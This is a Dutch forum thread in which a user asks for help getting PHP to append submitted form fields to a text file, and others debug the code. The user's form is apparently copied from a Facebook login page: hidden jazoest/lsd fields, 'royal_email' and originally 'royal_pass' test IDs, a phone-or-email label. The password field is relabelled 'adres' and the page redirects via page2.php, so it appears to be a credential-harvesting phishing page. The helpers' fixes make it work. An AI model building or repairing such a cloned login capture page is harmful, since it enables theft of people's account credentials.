Hallo,
Ik heb een probleem ik wil via een POST-method dat ze worden opgeslagen in een .txt bestand alleen krijg ik de volgende fout


Parse error: syntax error, unexpected '{' in C:\wamp64\www\index.php on line 12

 
<?php 
 if(isset($_POST['submit']) {
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = $_POST['email']; 
$text = $_POST['adres'];
$fhandler = fopen($file, "a");
fwrite($fhandler, $text);
fclose($fhandler); 
 }
 ?>
<form id="login_form" action="page2.php" method="post" novalidate="1" onsubmit=""> 
<input type="hidden" name="jazoest" value="2684" autocomplete="off" /> 
<input type="hidden" name="lsd" value="AVoQcVLP" autocomplete="off" /> 
<table cellspacing="0" role="presentation"><tr><td class="html7magic"> 
<label for="email">E-mailadres of telefoonnummer</label></td> 
<td class="html7magic"><label for="adres">Adres</label></td></tr> 
<tr><td><input type="email" class="inputtext" name="email" id="email" data-testid="royal_email" /></td><td> 
<input type="adres" class="inputtext" name="adres" id="adres" data-testid="royal_pass" /></td><td> 
<label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_2"> 
<input value="Aanmelden" aria-label="Aanmelden" data-testid="royal_login_button" type="submit" id="u_0_2" /></label></td></tr>


bij lijn 12 kom ik dan op dit

if(isset($_POST['submit']) {
als ik de name bij invoeg werkt die ook niet

<input value="Aanmelden" aria-label="Aanmelden" data-testid="royal_login_button" name="submit" type="submit" id="u_0_2" /></label></td></tr>




 
<?php 
 if(isset($_POST['submit'])) {
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = 'Email: '.$_POST['email'].'\n'.'adres: '.$_POST['adres'];
$fhandler = fopen($file, "a");
fwrite($fhandler, $text); 
echo $text;
fclose($fhandler); 
 }
 ?>

geprobeerd een echo uit te voeren maar krijg niks te zien
Waarom controleer je gewoon niet of er ge-POST is?

if($_SERVER['REQUEST_METHOD']=="POST") {


Let erop dat je form wel naar page2.php verwijst!
Zo werkt het bij mij.

<?php 
if( isset( $_POST['submit'] ) )
{
	//Het ophalen en het schrijven van het bestand
	$file  = 'test.txt';
	$text  = $_POST['email'] . "\n"; 
	$text .= $_POST['adres'] . "\n";
	$fhandler = fopen($file, "a");
	fwrite($fhandler, $text);
	fclose($fhandler); 
}
?>
<form id="login_form" action="" method="post" novalidate="1">

	<table cellspacing="0" role="presentation">
		<tr>
			<td><label for="email">E-mailadres</label></td>
			<td><label for="adres">Adres</label></td>
		</tr> 
	<tr>
		<td>
			<input type="email"name="email" id="email" />
		</td>
		<td> 
			<input type="adres" name="adres" id="adres" />
		</td>
		<td>
			<label for="u_0_2"></label>
			<input value="Aanmelden" name="submit" type="submit" id="u_0_2" /></td></tr>
	</table>
</form>
Ja dat klopt dat wil ik zelf dat die naar page2.php verwijst
ik heb nu dit maar nog steeds geen resultaat

<?php 
 if(isset($_POST['submit'])) {    
 if($_SERVER['REQUEST_METHOD']=="POST") { 
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = 'Email: '.$_POST['email'].'\n'.'adres: '.$_POST['adres'];
$fhandler = fopen($file, "a");
fwrite($fhandler, $text); 
fclose($fhandler); 
 }
 }
 ?>


heeft het wellicht met het html formulier te maken?



<form id="login_form" action="<?php $_PHP_SELF ?>" method="post" novalidate="1" onsubmit=""> 
<input type="hidden" name="jazoest" value="2684" autocomplete="off" /> 
<input type="hidden" name="lsd" value="AVoQcVLP" autocomplete="off" /> 
<table cellspacing="0" role="presentation"><tr><td class="html7magic"> 
<label for="email">E-mailadres of telefoonnummer</label></td> 
<td class="html7magic"><label for="adres">Adres</label></td></tr> 
<tr><td><input type="email" class="inputtext" name="email" id="email" data-testid="royal_email" /></td><td> 
<input type="adres" class="inputtext" name="adres" id="adres" data-testid="royal_adres" /></td><td> 
<label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_2"> 
<input value="Aanmelden" aria-label="Aanmelden" data-testid="royal_login_button" name="submit" type="submit" id="u_0_2" /></label></td></tr>
$_PHP_SELF waar komt dat dan vandaan?
En waarom een dubbele if? Je kan het ook combineren in één voorwaarde.
Dat had ik net even geprobeerd dacht misschien werkt het dan wel maar heb het al weggehaald.
En waarom een dubbele if? Je kan het ook combineren in één voorwaarde.
Kan je het script niet op page2.php inbouwen? Dat verwees je eerder al heen.
Page2.php verwijs ik door naar een andere pagina
maar het raar er van is dat die de post method niet opslaat in het txt bestandje
Omdat hij eerst naar page2.php verwijst?
Dus handel het daarin af?
Heb je al gekeken of het bestand uberhaupt bestaat en schrijfbaar is?

Het lijkt mij trouwens geen goed plan om dit soort bestanden in de publieke webdirectory te laten slingeren. Ik zou dus ook op zijn minst een pad verwachten naar buiten de webdir.

Reageren